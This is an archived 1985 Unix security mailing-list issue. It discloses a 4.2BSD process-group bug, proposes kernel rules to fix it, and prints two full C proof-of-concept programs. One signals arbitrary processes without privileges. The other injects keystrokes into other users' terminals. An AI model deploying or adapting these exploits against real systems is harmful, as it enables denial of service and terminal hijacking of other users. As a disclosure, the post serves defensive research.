The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Unix 'Security Mailing List' - Archives (1984 - 1987)
DOCUMENT: Unix 'Security Mailing List' #8 1985-03-06 (1 file, 3095 bytes)
SOURCE: http://securitydigest.org/exec/display?f=unix/archive/008.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT


Date:  6 Mar 1985 2307-MST (Wednesday)
Subject: Security Mailing List, # 8

----------------------------------------------------------------------------
Editor's corner

        Cupboard must be getting a little bare out there. Are we out of
        topics, or is my mail getting fouled up again?

Newcomers to the list since last issue:
        George Rosenberg (george@idis)
        Peter Gross (pag@hao)
        Debra Wilson (root@idis)

----------------------------------------------------------------------------

Date: Fri, 1 Mar 85 17:10:21 pst
From: ihnp4!nsc!chongo (Landon C. Noll)
Subject: process group bugs

There is a major bug in 4.2 which allows you to set your process group
and your terminal process group to any value you like.  This results in
several nasty security features:

        1) you can send a signal to any process group (which as kill -9)
           which in turn can send the signal to any process.  say stop
           your favorite security daemon, bother init (being the system
           down to single user?) and so on...
        2) you can stuff characters into any tty which is writable.
           most logged off ttys are writable, and since most people
           dont set mesg off, this means most ttys.
        3) secure tty (prevent root logins except at a few ttys) can
           be worked around by stuffing a unused (normally writable)
           port with your root login.
        4) usw.

The fix is simple: restruct the values to which a process and terminal
process group can be set and alter values to which detached processes
get set to.   Sys V allows you to only set them to the value equal to
your pid, but this is not Standard Berkeley Unix. :-)  One needs to set them
to other values due to things like cshell and job control.  After looking
over existing 4.1BSD and 4.2BSD code, the following rules would  allow
all existing distribution progs to work, and plug up the bug at the
same time.  These rules apply for both the process group value and the
terminal process group value:

        - Any superuser process can set to any value
        - Only the superuser may set to value = 0
        - Only the superuser and a detached job may
          set to value=1
        - Detached process values must be set to 1 (init runs under value=0)
        - Non-superuser processes may set to a value
          equal to the value of the pid of the following:
                = itself
                = direct descendent (child, grand-child, etc.)
                = direct ancestor (parent, grand-parent)
          as long as it is not the value 0 or 1

The mods to the kernel are simple, but your need a source lic. to do
them.  Binary sites are out of luck in the matter!!!

Here are the progs which show the problems:

The following program allows you to send a nasty signal (quit, intr,...)
to any process (such as 1 or your favorite former boss' rogue game <chuqui>) :-)

-----------------------------cut by hand for blast.c---------------------
/*
 * Blast: program to kill, core dump, or stop other programs, even without
 * the usual privileges.  Shows off bugs involving process group handling.
 * David I. Bell. (alias DBell)
 */

#include <sgtty.h>
#include <stdio.h>

main(argc, argv)
        char **argv;
{
        register char   *str;                   /* argument */
        register char   *cp;                    /* character to type */
        register int    pid;                    /* pid to blast */
        int     pgrp;                           /* his process group */
        struct  sgttyb  sb;                     /* old and new tty flags */
        struct  sgttyb  nsb;
        struct  tchars  tc;                     /* tty chars */
        struct  ltchars lc;

        if (argc < 2) {
                fprintf(stderr, "usage: blast [-ksd] pid ...\n");
                exit(1);
        }
        ioctl(0, TIOCGETP, &sb);                /* turn off echoing */
        nsb = sb;
        nsb.sg_flags &= ~ECHO;
        ioctl(0, TIOCSETN, &nsb);
        if (ioctl(0, TIOCGETC, &tc)) {          /* get our tty chars */
                perror("getc");
                goto done;
        }
        if (ioctl(0, TIOCGLTC, &lc)) {          /* and local chars */
                perror("lgetc");
                goto done;
        }
        argv++;
        cp = &tc.t_intrc;                       /* default is kill */
        sigsetmask(-1);                         /* save ourselves */
        while (argc-- > 1) {
                str = *argv++;
                if (*str == '-') {              /* an option */
                        switch (str[1]) {
                                case 'k':       /* kill process */
                                        cp = &tc.t_intrc;
                                        break;
                                case 's':       /* stop process */
                                        cp = &lc.t_suspc;
                                        break;
                                case 'd':       /* dump process */
                                        cp = &tc.t_quitc;
                                        break;
                                default:        /* illegal */
                                        fprintf(stderr, "bad option\n");
                                        goto done;
                        }
                        continue;
                }
                pid = 0;
                while (*str) {                  /* read pid number */
                        pid = pid * 10;
                        if ((*str < '0') || (*str > '9')) {
                                fprintf(stderr, "bad number\n");
                                goto done;
                        }
                        pid += (*str++ - '0');
                }
                pgrp = getpgrp(pid);            /* get victim's process group */
                if (pgrp < 0) {
                        perror("getpgrp");
                        goto done;
                }
                if (ioctl(0, TIOCSPGRP, &pgrp)) {   /* set tty process group */
                        perror("ttyspgrp");
                        goto done;
                }
                if (setpgrp(0, pgrp)) {         /* set my own process group */
                        perror("spgrp");
                        goto done;
                }
                if (ioctl(0, TIOCSTI, cp)) {    /* stuff the char on my tty */
                        perror("sti");
                        goto done;
                }
        }

done:   ioctl(0, TIOCSETN, &sb);                /* reset echoing */
}
-----------------------------end of cut of blast.c-----------------------
The following program will allow you to stuff characters into any terminal
which you can open for write: 
-----------------------------cut by hand for stuff.c---------------------
/*
 * Stuff: program to stuff input into another terminal.  David I. Bell. (DBell)
 * This program bypasses the normal superuser check for stuffing chars
 * into other people's terminals.  All you need is write permission on
 * the user's terminal.
 */

#include <sgtty.h>
#include <stdio.h>

main(argc, argv)
        char **argv;
{
        register int    fd;             /* file descriptor */
        char    ch;                     /* current character */
        char    name[100];              /* tty name */
        struct  sgttyb  sb;             /* old and new tty flags */
        struct  sgttyb  nsb;

        if (argc < 2) {
                fprintf(stderr, "stuff ttyname\n");
                exit(1);
        }
        argv++;
        if (**argv == '/') strcpy(name, *argv); /* build full name */
        else sprintf(name, "/dev/%s", *argv);
        if (setpgrp(0, 0)) {                    /* clear my process group */
                perror("spgrp");
                goto done;
        }
        if (open(name, 1) < 0) {                /* open tty, making it mine */
                perror(name);
                exit(1);
        }
        fd = open("/dev/tty", 2);               /* open read/write as tty */
        if (fd < 0) {
                perror("/dev/tty");
                exit(1);
        }
        ioctl(0, TIOCGETP, &sb);                /* go to raw mode */
        nsb = sb;
        nsb.sg_flags |= RAW;
        nsb.sg_flags &= ~ECHO;
        ioctl(0, TIOCSETN, &nsb);
        sigsetmask(-1);                         /* stop hangups */
        printf("Connected.  Type ^B to exit\r\n");
        while (1) {                             /* stuff them chars */
                if (read(0, &ch, 1) <= 0) break;
                if ((ch & 0x7f) == '\002') break;
                if (ioctl(fd, TIOCSTI, &ch)) {  /* stuff char on "his" tty */
                        perror("\r\nsti failed\r");
                        goto done;
                }
                ch &= 0x7f;                     /* echo it for me */
                if (ch < ' ') {
                        if ((ch == '\r') || (ch == '\n')) {
                                write(1, "\r\n", 2);
                                continue;
                        }
                        ch += '@';
                        write(1, "^", 1);
                        write(1, &ch, 1);
                        continue;
                }
                if (ch == '\177') {
                        write(1, "^?", 2);
                        continue;
                }
                write(1, &ch, 1);
        }

done:   ioctl(0, TIOCSETN, &sb);                /* reset tty */
}
-----------------------------end of cut of stuff.c----------------------


chongo <hack! hack! hack!> /\$$/\

---
    Lome tiranar?  Ash Urnikx arda!  Ash thrakatuluk krimpatul!



----------------------------------------------------------------------------

                    The UNIX security issues mail list

               Ignore the headers on this list and mail to:
           ...denelcor!security            (mail for the list).
            ...denelcor!sec-request         (administrativia).

END OF DOCUMENT